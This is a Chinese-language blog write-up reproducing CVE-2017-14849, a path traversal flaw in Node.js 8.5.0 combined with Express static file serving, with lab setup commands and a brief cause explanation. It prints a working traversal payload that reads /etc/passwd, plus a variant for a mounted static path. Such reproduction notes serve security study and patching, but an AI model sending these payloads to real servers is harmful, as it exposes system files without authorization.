溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

Node.js中CVE-2017-14849漏洞的示例分析

發(fā)布時(shí)間:2021-08-20 11:07:35 來源:億速云 閱讀:244 作者:小新 欄目:web開發(fā)

這篇文章給大家分享的是有關(guān)Node.js中CVE-2017-14849漏洞的示例分析的內(nèi)容。小編覺得挺實(shí)用的,因此分享給大家做個參考,一起跟隨小編過來看看吧。

0x01 漏洞簡介

CVE(http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14849)上面的描述是這樣的:

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules.

換成我們看的懂的意思就是node.js 8.5.0 到8.6.0 之間的版本會造成目錄穿越漏洞,讀取任意文件,而漏洞的原因是因?yàn)閷Α?.”的處理和另外的模塊不兼容。

打個比喻就是有一個人開發(fā)這個模塊,另外的一個人開發(fā)另外個模塊,大家對于這個東西的處理不一樣,從而導(dǎo)致出現(xiàn)了漏洞。而這里的模塊就是node.js 和 express。

影響版本:

Node.js 8.5.0 + Express 3.19.0-3.21.2
Node.js 8.5.0 + Express 4.11.0-4.15.5

0x02 node.js是什么

Node.js® 是一個基于 Chrome V8 引擎的 JavaScript 運(yùn)行時(shí)。 Node.js 使用高效、輕量級的事件驅(qū)動、非阻塞 I/O 模型。它的包生態(tài)系統(tǒng),npm,是目前世界上最大的開源庫生態(tài)系統(tǒng)。(抄從官網(wǎng))

0x03 express是什么

Express是基于 Node.js 平臺,快速、開放、極簡的 web 開發(fā)框架。(同樣抄從官網(wǎng))

0x04 如何復(fù)現(xiàn)

下面采用騰訊云開發(fā)者實(shí)驗(yàn)室搭建環(huán)境進(jìn)行快速復(fù)現(xiàn)。

復(fù)現(xiàn)準(zhǔn)備:

0. 騰訊云開發(fā)者實(shí)驗(yàn)室的云主機(jī)一臺 (我這里用的是《基于 Ubuntu 搭建微信小程序服務(wù)》的實(shí)驗(yàn)主機(jī) ubuntu 16.04 64位)

1. node.js 8.5.0 (https://nodejs.org/download/release/v8.5.0/)

2. express-4.15.5 (https://github.com/expressjs/express/releases)

3. burpsuite

Step 1安裝node.js 8.5.0

下載node.js 8.5.0安裝包

wget https://nodejs.org/download/release/v8.5.0/node-v8.5.0-linux-x64.tar.gz

解壓安裝包

tar -zxvf node-v8.5.0-linux-x64.tar.gz

移到通用軟件安裝目錄/opt

mv node-v8.5.0-linux-x64 /opt/

安裝 npm 和 node 命令到系統(tǒng)命令

sudo ln -s /opt/node-v8.5.0-linux-x64 /bin/node /usr/local/bin/node 
sudo ln -s /opt/node-v8.5.0-linux-x64 /bin/npm /usr/local/bin/npm

驗(yàn)證一下:

node -v

輸出版本號則表示配置成功

Step2 安裝express-4.15.5

下載express-4.15.5

wget https://github.com/expressjs/express/archive/4.15.5.tar.gz

解壓壓縮包

tar -zxvf 4.15.5.tar.gz

進(jìn)入express目錄下,安裝express

cd express-4.15.5 && npm install

進(jìn)入到expresss-4.15.5/examples/static-files目錄里

node index.js

Step 3 發(fā)送payload驗(yàn)證

Payload: /../../../a/../../../../etc/passwd

Node.js中CVE-2017-14849漏洞的示例分析

0x05 漏洞原理分析

為什么payload會是這樣的呢?請參考騰訊應(yīng)急響應(yīng)中心的那篇文章(https://security.tencent.com/index.php/blog/msg/121),寫的很言簡意賅。

(還不是因?yàn)樽约翰?,分析不出。。。。?/p>

注意:該漏洞是建立在文件夾通過express.static 來托管的情況下,因?yàn)樵谶@種情況下才會使用normalize函數(shù)進(jìn)行path標(biāo)準(zhǔn)化。(發(fā)現(xiàn)來源于p神的分析)

比如代碼這樣寫:

app.use(express.static(path.join(__dirname, 'static')));

那么payload應(yīng)該是

/../../../a/../../../../etc/passwd

但代碼如果是這樣寫的話:

app.use('/static',express.static(path.join(__dirname, 'static')));

那么payload應(yīng)該為:

/static/../../../a/../../../../etc/passwd

感謝各位的閱讀!關(guān)于“Node.js中CVE-2017-14849漏洞的示例分析”這篇文章就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,讓大家可以學(xué)到更多知識,如果覺得文章不錯,可以把它分享出去讓更多的人看到吧!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI